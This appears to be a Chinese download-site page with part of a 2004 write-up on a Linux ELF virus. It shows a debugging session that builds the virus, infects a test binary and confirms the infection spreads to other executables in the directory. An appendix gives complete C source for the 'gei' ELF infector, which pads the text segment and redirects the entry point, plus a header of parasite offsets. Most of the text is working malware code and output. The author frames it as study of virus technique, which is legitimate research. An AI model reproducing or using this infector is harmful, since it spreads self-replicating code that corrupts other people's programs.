⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 linux vir.txt

📁 一个LINUX系统的病毒源代码分析
💻 TXT
📖 第 1 页 / 共 3 页
字号:
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT 
|| ehdr->e_type != ET_EXEC 
|| ehdr->e_machine != EM_386 
|| ehdr->e_version != EV_CURRENT 
) { 
V_DEBUG_WRITE(1, &err_type, sizeof(err_type)); 
goto err; 
} 

当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的 
代码体积还在合理的范围, 
在调试状态和标准状态分别是1744和1248 
#ifndef NDEBUG 
#define PARACODE_LENGTH 1744 
#else 
#define PARACODE_LENGTH 1248 
#endif 

10 数据结构的不一致 

与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过 
包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。 

struct dirent { 
long d_ino; 
unsigned long d_off; 
unsigned short d_reclen; 
char d_name[256]; /* We must not include limits.h! */ 
}; 

struct stat { 
unsigned long st_dev; 
unsigned long st_ino; 
unsigned short st_mode; 
unsigned short st_nlink; 
unsigned short st_uid; 
unsigned short st_gid; 
unsigned long st_rdev; 
unsigned long st_size; 
unsigned long st_blksize; 
unsigned long st_blocks; 
unsigned long st_atime; 
unsigned long st_atime_nsec; 
unsigned long st_mtime; 
unsigned long st_mtime_nsec; 
unsigned long st_ctime; 
unsigned long st_ctime_nsec; 
unsigned long __unused4; 
unsigned long __unused5; 
}; 

五、** 在一个新的编译环境下的调试方法 

grip2@linux:~/tmp/virus> ls 
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h 

调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项 
grip2@linux:~/tmp/virus> cat Makefile 
all: foo gei 
gei: g-elf-infector.c gvirus.o 
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG 
foo: foo.c 
gcc $< -o foo 
gvirus.o: gvirus.c 
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG 
clean: 
rm *.o -rf 
rm foo -rf 
rm gei -rf 

编译代码 
grip2@linux:~/tmp/virus> make 
gcc foo.c -o foo 
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG 
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG 

先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义 
grip2@linux:~/tmp/virus> ./gei -l <-- 这里获取病毒代码的长度 
Parasite code length: 1744 

获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移 
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd 
8049427: 68 dd cc bb aa push $0xaabbccdd 
grip2@linux:~/tmp/virus> objdump -d gei|grep "<parasite_code>" 
08048d80 <parasite_code>: 
8049450: e9 2b f9 ff ff jmp 8048d80 <parasite_code> 
grip2@linux:~/tmp/virus> objdump -d gei|grep "<parasite_code>:" 
08048d80 <parasite_code>: 

0x8049427与0x8048d80相减即获得我们需要的偏移, 
用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值 

重新编译 
grip2@linux:~/tmp/virus> make clean 
rm *.o -rf 
rm foo -rf 
rm gei -rf 
grip2@linux:~/tmp/virus> make 
gcc foo.c -o foo 
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG 
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG 

grip2@linux:~/tmp/virus> ls 
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c 
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h 

建立一个测试目录,测试一下 
grip2@linux:~/tmp/virus> mkdir test 
grip2@linux:~/tmp/virus> cp gei foo test 
grip2@linux:~/tmp/virus> cd test 
grip2@linux:~/tmp/virus/test> ls 
gei foo 
grip2@linux:~/tmp/virus/test> cp foo h 

制作带毒程序 
grip2@linux:~/tmp/virus/test> ./gei h 
file size: 8668 
e_phoff: 00000034 
e_shoff: 00001134 
e_phentsize: 00000020 
e_phnum: 00000008 
e_shentsize: 00000028 
e_shnum: 00000025 
text segment file offset: 0 
[15 sections patched] 
grip2@linux:~/tmp/virus/test> ll 
total 44 
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei 
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h 
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo 

运行带毒程序 
grip2@linux:~/tmp/virus/test> ./h 
. 
.. 
gei 
foo 
h 
.backup.h 
real elf point 
grip2@linux:~/tmp/virus/test> ll 
total 52 
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei 
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h 
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo 

测试上面带毒程序运行后,是否感染了其他ELF程序 
grip2@linux:~/tmp/virus/test> ./foo 
. 
.. 
gei 
Better luck next file 
foo 
h 
Better luck next file 
.backup.h 
Better luck next file 
real elf point 

OK,成功 
grip2@linux:~/tmp/virus/test> cp ../foo hh 
grip2@linux:~/tmp/virus/test> ll 
total 64 
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei 
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h 
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh 
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo 

grip2@linux:~/tmp/virus/test> ./foo 
. 
.. 
gei 
Better luck next file 
foo 
h 
Better luck next file 
.backup.h 
Better luck next file 
hh 
real elf point 
grip2@linux:~/tmp/virus/test> 

六、** 最后 

由于我既不是一个virus coder也不是一个anti-virus coder,所以对病毒 
技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到 
位,还请指正,谢谢。 


七、** 参考文献 

1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》 

2 ELF文档 

3 更多的安全技术交流 
http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security& 
Number=479955&page=0&view=collapsed&sb=5&o=31&fpart= 


八、** 附录 - ELF文件感染工具和病毒原型源代码 

------------------------------ g-elf_infector.c ------------------------------ 

/* 
* gei - ELF Infector v0.0.2 (2004) 
* written by grip2 <gript2@hotmail.com> 
*/ 

#include <elf.h> 
#include <fcntl.h> 
#include <sys/stat.h> 
#include <sys/mman.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <string.h> 
#include <stdlib.h> 

#include "gvirus.h" 

#define PAGE_SIZE 4096 
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1)) 

static int elf_infect(const char *filename, 
void *para_code, 
unsigned int para_code_size, 
unsigned long retaddr_addr_offset); 

int main(int argc, char *argv[]) 
{ 
#define MAX_FILENAME_LEN 256 
char backup[MAX_FILENAME_LEN*4]; 
char restore[MAX_FILENAME_LEN*4]; 

if (argc != 2) { 
fprintf(stderr, 
"gei - ELF Infector v0.0.2 written by grip2 <gript2@hotmail.com>\n"); 
fprintf(stderr, "Usage: %s <elf-exec-file>\n", argv[0]); 
return 1; 
} 

if (strcmp(argv[1], "-l") == 0) { 
fprintf(stderr, "Parasite code length: %d\n", 
&parasite_code_end - &parasite_code); 
return 1; 
} 

if (strlen(argv[1]) > MAX_FILENAME_LEN) { 
fprintf(stderr, "filename too long!\n"); 
return 1; 
} 

sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]); 
sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]); 

system(backup); 
if (elf_infect(argv[1], &parasite_code, 
&parasite_code_end - &parasite_code, 
PARACODE_RETADDR_ADDR_OFFSET) < 0) { 
system(restore); 
return 1; 
} 

return 0; 
} 

static int elf_infect(const char *filename, 
void *para_code, 
unsigned int para_code_size, 
unsigned long retaddr_addr_offset) 
{ 
int fd = -1; 
int tmp_fd = -1; 
Elf32_Ehdr *ehdr = NULL; 
Elf32_Phdr *phdr; 
Elf32_Shdr *shdr; 
int i; 
int txt_index; 
struct stat stat; 
int align_code_size; 
unsigned long org_entry; 
void *new_code_pos; 
int tmp_flag; 
int size; 
unsigned char tmp_para_code[PAGE_SIZE]; 

char *tmpfile; 
tmpfile = tempnam(NULL, "infector"); 

fd = open(filename, O_RDWR); 
if (fd == -1) { 
perror(filename); 
goto err; 
} 

if (fstat(fd, &stat) == -1) { 
perror("fstat"); 
goto err; 
} 

#ifndef NDEBUG 
printf("file size: %lu\n", stat.st_size); 
#endif 

ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); 
if (ehdr == MAP_FAILED) { 
perror("mmap ehdr"); 
goto err; 
} 

/* Check ELF magic-ident */ 
if (ehdr->e_ident[EI_MAG0] != 0x7f 
|| ehdr->e_ident[EI_MAG1] != 'E' 
|| ehdr->e_ident[EI_MAG2] != 'L' 
|| ehdr->e_ident[EI_MAG3] != 'F' 
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32 
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB 
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT 
|| ehdr->e_type != ET_EXEC 
|| ehdr->e_machine != EM_386 
|| ehdr->e_version != EV_CURRENT 
) { 
fprintf(stderr, "File type not supported\n"); 
goto err; 
} 

#ifndef NDEBUG 
printf("e_phoff: %08x\ne_shoff: %08x\n", 
ehdr->e_phoff, ehdr->e_shoff); 
printf("e_phentsize: %08x\n", ehdr->e_phentsize); 
printf("e_phnum: %08x\n", ehdr->e_phnum); 
printf("e_shentsize: %08x\n", ehdr->e_shentsize); 
printf("e_shnum: %08x\n", ehdr->e_shnum); 
#endif 

align_code_size = PAGE_ALIGN(para_code_size); 

/* Get program header and section header start address */ 
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff); 
shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff); 

/* Locate the text segment */ 
txt_index = 0; 
while (1) { 
if (txt_index == ehdr->e_phnum - 1) { 
fprintf(stderr, "Invalid e_phnum, text segment not found.\n"); 
goto err; 
} 
if (phdr[txt_index].p_type == PT_LOAD 
&& phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */ 
#ifndef NDEBUG 
printf("text segment file offset: %u\n", phdr[txt_index].p_offset); 
#endif 
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size 
> phdr[txt_index+1].p_vaddr) { 
fprintf(stderr, "Better luck next file :-)\n"); 
goto err; 
} 

break; 
} 
txt_index++; 
} 

/* Modify the entry point of the ELF */ 
org_entry = ehdr->e_entry; 
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz; 

new_code_pos = 
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz; 

/* Increase the p_filesz and p_memsz of text segment 
* for new code */ 
phdr[txt_index].p_filesz += align_code_size; 
phdr[txt_index].p_memsz += align_code_size; 

for (i = 0; i < ehdr->e_phnum; i++) 
if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) 
phdr[i].p_offset += align_code_size; 

tmp_flag = 0; 
for (i = 0; i < ehdr->e_shnum; i++) { 
if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) { 
shdr[i].sh_offset += align_code_size; 
if (!tmp_flag && i) { /* associating the new_code to the last 
* section in the text segment */ 
shdr[i-1].sh_size += align_code_size; 
tmp_flag = 1; 
printf("[%d sections patched]\n", i-1); 
} 
} 
} 

/* Increase p_shoff in the ELF header */ 
ehdr->e_shoff += align_code_size; 

/* Make a new file */ 
tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode); 
if (tmp_fd == -1) { 
perror("open"); 
goto err; 
} 

size = new_code_pos - (void *) ehdr; 
if (write(tmp_fd, ehdr, size) != size) { 
perror("write"); 
goto err; 
} 

memcpy(tmp_para_code, para_code, para_code_size); 
memcpy(tmp_para_code + retaddr_addr_offset, 
&org_entry, sizeof(org_entry)); 
if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) { 
perror("write"); 
goto err; 
} 

if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size) 
!= stat.st_size - size) { 
perror("write"); 
goto err; 
} 

close(tmp_fd); 
munmap(ehdr, stat.st_size); 
close(fd); 

if (rename(tmpfile, filename) == -1) { 
perror("rename"); 
goto err; 
} 

return 0; 
err: 
if (tmp_fd != -1) 
close(tmp_fd); 
if (ehdr) 
munmap(ehdr, stat.st_size); 
if (fd != -1) 
close(fd); 
return -1; 
} 
------------------------------ g-elf_infector.c ------------------------------ 

------------------------------ gvirus.h ------------------------------ 
#ifndef _G2_PARASITE_CODE_ 
#define _G2_PARASITE_CODE_ 

#ifndef NDEBUG 
#define PARACODE_RETADDR_ADDR_OFFSET 1704 
#else 
#define PARACODE_RETADDR_ADDR_OFFSET 1232 
#endif 

void parasite_code(void); 
void parasite_code_end(void); 

#endif 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -